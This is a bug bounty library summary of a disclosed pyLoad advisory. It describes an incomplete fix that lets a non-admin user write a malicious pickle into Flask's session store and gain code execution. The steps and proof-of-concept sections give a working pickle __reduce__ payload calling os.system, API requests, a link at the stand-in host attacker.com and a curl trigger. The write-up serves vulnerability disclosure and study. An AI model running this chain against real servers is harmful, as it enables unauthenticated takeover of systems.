# pyLoad: Unprotected storage_folder enables arbitrary file write to Flask session store and code execution (Incomplete fix for CVE-2026-33509)

Non-admin pyLoad user with SETTINGS+ADD redirects storage_folder to Flask's filesystem session store, plants a pickle session file, and gets unauthenticated RCE on any request with the crafted cookie.

- Payout: Research
- Severity: high
- Program: pyLoad
- Found by: kodareef5
- Disclosed: 2026-04-04
- CVE: CVE-2026-35464
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-4744-96p5-mp2j
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-4744-96p5-mp2j
- Tags: area:web domain:web impact:rce kind:research platform:ghsa sev:high tech:python technique:incomplete-fix technique:source-review vuln:access-control vuln:deserialization vuln:rce

**Target:** pyLoad web API / Flask filesystem session store
**Root cause:** storage_folder path check only blocks PKGDIR and userdir, not Flask's filesystem session directory; cachelib deserializes session files with pickle.load() on every request carrying the matching cookie.
**Steps:**
1. `POST /api/set_config_value` with `{"section":"core","category":"general","option":"storage_folder","value":"/tmp/pyLoad/flask"}` — realpath check passes since it's outside PKGDIR and userdir
2. Compute filename `md5("session:"+ATTACKER_SESSION_ID)` e.g. `92912f771df217fb6fbfded6705dd47c`
3. Build payload: `struct.pack("I",0) + pickle.dumps({"_permanent":True,"rce":RCE()}, protocol=2)` with `__reduce__` returning `(os.system,("id > /tmp/pyload-rce-success",))`; host at `http://attacker.com/92912f771df217fb6fbfded6705dd47c`
4. `POST /api/add_package` with `{"name":"x","links":["http://attacker.com/92912f771df217fb6fbfded6705dd47c"],"dest":1}` to write the file into the session store
5. Trigger unauthenticated: `curl http://target:8000/ -b "pyload_session_8000=ATTACKER_SESSION_ID"`
**How found:** Reviewed the incomplete fix for CVE-2026-33509 (ADMIN_ONLY_OPTIONS allowlist) and noticed storage_folder was omitted; checked the realpath restriction and saw Flask's filesystem session dir fell outside PKGDIR/userdir, then traced cachelib's md5 filename scheme and pickle.load() to build the chain.
**Exploitation:** Attacker with SETTINGS+ADD bitmask flags changes storage_folder to the Flask session dir, downloads a crafted pickle file named as the md5 of their chosen session id, then sends any HTTP request with the matching session cookie; cachelib reads the 4-byte timeout header and calls pickle.load(), executing os.system as the pyload service user.
**Escalation:** Final deserialization trigger is unauthenticated; RCE yields env vars, filesystem access, and network pivot.
**Insight:** When a fix allowlists sensitive config options, audit every remaining writable path option against directories whose contents are auto-consumed (session stores, bytecode caches, temp dirs) — path checks scoped to app/user dirs miss framework-managed dirs like Flask's /tmp session store.

## Proof of concept (copied exactly from the original report)

**Malicious pickle session payload script**

```
import pickle, os, struct
    class RCE:
        def __reduce__(self):
            return (os.system, ("id > /tmp/pyload-rce-success",))
    session = {"_permanent": True, "rce": RCE()}
    payload = struct.pack("I", 0) + pickle.dumps(session, protocol=2)
    # struct.pack("I", 0) = cachelib timeout header (0 = never expires)
```

**set_config_value redirects storage_folder to session store**

```
POST /api/set_config_value
    {"section":"core","category":"general","option":"storage_folder","value":"/tmp/pyLoad/flask"}
```

**Unauthenticated curl trigger with crafted session cookie**

```
curl http://target:8000/ -b "pyload_session_8000=ATTACKER_SESSION_ID"
```

